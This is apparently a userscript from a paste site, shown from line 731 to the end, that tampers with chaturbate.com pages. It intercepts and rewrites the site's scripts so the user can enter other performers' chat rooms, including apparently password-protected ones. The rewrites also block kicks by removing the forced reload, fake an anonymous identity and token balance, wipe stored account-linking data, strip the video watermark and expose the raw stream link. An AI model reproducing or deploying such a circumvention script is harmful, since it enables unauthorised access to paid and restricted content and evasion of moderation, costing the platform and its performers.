  731.             Fversion = getfversion();
  732.             videodata2 = videodata2.replace("ladroop",preformer);
  733.             newvid=document.createElement('div');
  734.      
  735.             newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata;
  736.      
  737.             document.getElementsByClassName('block')[0].appendChild(newvid);
  738.             newli=document.createElement('li');
  739.             newli.innerHTML="<a href=#>ENTER THIS CHATBOX</a>";
  740.             if (bar){bar.appendChild(newli)}
  741.             newli.addEventListener('click',function(){npcheat(preformer,0);}, false);
  742.             ainput()}
  743.      
  744.     // set anon
  745.             function ainput(){
  746.             newli=document.createElement('li');
  747.             newli.innerHTML='<a href=#>ENTER THIS CHATBOX ANONYMOUS</a>';
  748.             if (bar){bar.appendChild(newli)}
  749.             newli.addEventListener('click',function(){npcheat(preformer,1);}, false);
  750.             mobset()}
  751.      
  752.     // mobile mode
  753.             function mobset(){
  754.             newli=document.createElement('li');
  755.             newli.innerHTML=' Use mobile mode: <input type="checkbox" id="mobmode">';
  756.             if (bar){bar.appendChild(newli)}}
  757.      
  758.      
  759.     //  reconnect chatbox , give me mu8 link
  760.             function keyinput(){
  761.             if (!document.getElementById("cheat")){
  762.      
  763.             if (document.getElementById("movie")){
  764.             place=document.getElementsByClassName('info-user')[0];
  765.             if(!place){place=document.getElementById("shout")} // for pw room with chat
  766.      
  767.             //chat reload
  768.             if (document.getElementsByClassName("chat-box")[0]){
  769.             chatreload=document.createElement('div');
  770.             chatreload.innerHTML="<a href='javascript:GetFlashObject(\"movie\").DisconnectFromChat();'>Reconnect the chatbox</a><br><br>";
  771.             document.getElementById("defchat").insertBefore(chatreload,place)}
  772.      
  773.             if (document.getElementsByTagName('video')[0]){
  774.             vidlink=document.getElementsByTagName('video')[0].src;
  775.             vid=document.createElement('div');
  776.             vid.innerHTML="<a href="+vidlink+" target='_blank'>COPY this link into VLC player.</a><br><br>";
  777.             document.getElementById("defchat").insertBefore(vid,place)}}
  778.             }
  779.             }
  780.      
  781.     //get saved flashplayer version
  782.             function getfversion(){
  783.             Fversion=readCookie("CBversion");
  784.             if(!Fversion){Fversion=flashplayer}
  785.             version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static"));
  786.             return version}
  787.      
  788.     // videobox data
  789.             var servers=new Array("","-a","-b");
  790.             var server = servers[Math.floor(Math.random()*3)];//0-1-2
  791.             var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down
  792.      
  793.             videodata1='<div id ="defchat"style="float:left;margin-left:10px;margin-top:10px;margin-bottom:10px;border-width:5px;border-style:double;resize:both;overflow:hidden;width: 498px; height: 426px; ">'
  794.             +'<object id="movie" type="application/x-shockwave-flash" data="';
  795.      
  796.             videodata2='" style="visibility: visible;margin-top:0px;margin-bottom:0px;width:100%;height:95%">'
  797.             +'<param name="allowScriptAccess" value="always">'
  798.             +'<param name="allowFullScreen" value="true">'
  799.             +'<param name="quality" value="high">'
  800.             +'<param name="wmode" value="opaque">'
  801.             +'<param name="id" value="movie">'
  802.             +'<param name="FlashVars" value="pid=ladroop&address=edge'
  803.             + servnr+server
  804.             +'.stream.highwebmedia.com&language=/xml/viewer.xml&mute=0&uid=AnonymousUser&dom=chaturbate.com&pw=anonymous">'
  805.             +'</object></div>'
  806.      
  807.     // shoutbox data
  808.             sdata = '<div><br><iframe title="Shoutbox" WIDTH=100% HEIGHT="400" src="http://shoutbox.widget.me/window.html?uid=odrgw" frameborder="0" '
  809.             +'scrolling="auto"></iframe><script src="http://shoutbox.widget.me/v1.js" type="text/javascript"></script><br><a href="http://shoutbox.widget.me" '
  810.             +'title="Shoutbox Widget">Shout</a><a href="http://shoutbox-tutorials.blogspot.com" title="Shoutbox Tutorials">box</a><br></div>';
  811.      
  812.     // some cookies
  813.             createCookie("u_NxHf","1",1);
  814.             createCookie("us_NxHf","1",1);
  815.             createCookie("dsmn29","1",1);
  816.             createCookie("dsmn26","1",1);
  817.             createCookie("dsmn27","1",1);
  818.             createCookie("dsmn28","1",1);
  819.      
  820.             if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)}
  821.      
  822.     //----------------------------------------------------------------------------------------------------------------------------------
  823.     // executes !everytime! before a script executes
  824.             function do_script2(e) {
  825.      
  826.     // we will always kill swf storage and earase exisiting storage
  827.             if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script
  828.      
  829.             if(!e.target.id){// already altered ? , then ID is set
  830.      
  831.             script=e.target.innerHTML;
  832.             e.preventDefault();
  833.             e.stopPropagation();
  834.             e.target.parentNode.removeChild(e.target);
  835.      
  836.             script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()");
  837.      
  838.             scrip=document.createElement('script');
  839.             scrip.id="newswfstor";
  840.      
  841.             scrip.innerHTML=script;
  842.             document.getElementsByTagName('body')[0].appendChild(scrip);
  843.      
  844.             }}
  845.      
  846.      
  847.     // this part does the flash init script , only remove logo if in normal mode
  848.             if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script
  849.      
  850.             if(!e.target.id){// already altered ? , then ID is set
  851.            
  852.             script=e.target.innerHTML;
  853.             e.preventDefault();
  854.             e.stopPropagation();
  855.             e.target.parentNode.removeChild(e.target);
  856.      
  857.             scrip=document.createElement('script');
  858.             scrip.id="newvid";
  859.      
  860.             script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png","");
  861.      
  862.      
  863.      
  864.             if (!readCookie("cheatmode")){
  865.             scrip.innerHTML=script;
  866.             document.getElementsByTagName('body')[0].appendChild(scrip);  
  867.             return} // only do the rest if we are in cheatmode , return here if in normal mode
  868.      
  869.             mode=readCookie("cheatmode").split("&");
  870.             preformer=mode[0];
  871.             anon=mode[1];
  872.             mob=mode[2];
  873.             chost=mode[3];
  874.      
  875.             orgname=document.location.href.split("/")[4];
  876.      
  877.             var patrn = new RegExp(orgname,"ig");
  878.             script=script.replace(patrn,preformer);
  879.      
  880.             if((anon==1)||(mob==1)){
  881.             pos1 = script.indexOf('ProductInstall.swf",');
  882.             pos2 = script.indexOf("',",pos1);
  883.             script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n            \'AnonymousUser');
  884.      
  885.             pos1 = script.indexOf("pbkdf2_sha256");
  886.             pos2 = script.indexOf("',",pos1);
  887.             script=script.replace(script.substring(pos1,pos2),"anonymous");
  888.             }
  889.      
  890.             scrip.innerHTML=script;
  891.             document.getElementsByTagName('body')[0].appendChild(scrip);
  892.      
  893.             }}
  894.      
  895.     // next only if in cheatmode
  896.             if (!readCookie("cheatmode")){return}
  897.             mode=readCookie("cheatmode").split("&");
  898.             preformer=mode[0];
  899.             anon=mode[1];
  900.             mob=mode[2];
  901.             chost=mode[3];
  902.      
  903.             orgname=document.location.href.split("/")[4];
  904.      
  905.             if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script
  906.      
  907.             if(!e.target.id){// already altered ? , then ID is set
  908.      
  909.             script=e.target.innerHTML;
  910.             e.preventDefault();
  911.             e.stopPropagation();
  912.             e.target.parentNode.removeChild(e.target);
  913.      
  914.             var patrn = new RegExp(orgname,"ig");
  915.             script=script.replace(patrn,preformer);
  916.      
  917.             script=script.replace("rtmp://chat1",chost);
  918.             script=script.replace("rtmp://chat2",chost);
  919.      
  920.             script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib.
  921.      
  922.             script=script.replace("window.location.reload()","return"); // no more kick
  923.      
  924.             pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat
  925.             script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0");
  926.      
  927.             if (mob==1){
  928.             script=script.replace("force_handler: null","force_handler: html_handler")}
  929.      
  930.             if(anon==1){
  931.             rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
  932.             username="";
  933.             l=5+Math.floor((Math.random()*6)+1);
  934.             for (i=0; i<l; i++){
  935.             rand = Math.floor(Math.random()*rd.length);
  936.             username=username+rd.charAt(rand)}
  937.             username = "__anonymous__"+username;
  938.      
  939.             pos1 = script.indexOf("username: '");
  940.             pos2 = script.indexOf("',",pos1);
  941.             script=script.replace(script.substring(pos1,pos2),"username: '"+username);
  942.      
  943.             pos1 = script.indexOf("my_username: '");
  944.             pos2 = script.indexOf("',",pos1);
  945.             script=script.replace(script.substring(pos1,pos2),"my_username: '");
  946.      
  947.             pos1 = script.indexOf("token_balance:");
  948.             pos2 = script.indexOf(",",pos1);
  949.             script=script.replace(script.substring(pos1,pos2),"token_balance: 0")
  950.      
  951.             pos1 = script.indexOf("pbkdf2_sha256");
  952.             pos2 = script.indexOf("',",pos1);
  953.             script=script.replace(script.substring(pos1,pos2),"anonymous");
  954.             } // end if anon
  955.      
  956.      
  957.             scrip=document.createElement('script');
  958.             scrip.id="newchat";
  959.      
  960.             scrip.innerHTML=script;
  961.             document.getElementsByTagName('body')[0].appendChild(scrip);
  962.      
  963.             }}
  964.      
  965.     // next room url or else sorted userlist fails
  966.             if(e.target.innerHTML.indexOf("nextroomurl")!= -1){ // check for script - this is the nextroom script
  967.      
  968.             if(!e.target.id){// already altered ? , then ID is set
  969.            
  970.             script=e.target.innerHTML;
  971.             e.preventDefault();
  972.             e.stopPropagation();
  973.             e.target.parentNode.removeChild(e.target);
  974.      
  975.             var patrn = new RegExp(orgname,"ig");
  976.             script=script.replace(patrn,preformer);
  977.      
  978.             scrip=document.createElement('script');
  979.             scrip.id="newnext";
  980.      
  981.             scrip.innerHTML=script;
  982.             document.getElementsByTagName('body')[0].appendChild(scrip);
  983.      
  984.             }}
  985.             }
  986.      
  987.     window.addEventListener("DOMContentLoaded", function() { do_script() }, false);
  988.      
  989.     window.addEventListener('beforescriptexecute', function(e) {do_script2(e) }, false);
  990.      
  991.     //.user.js
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement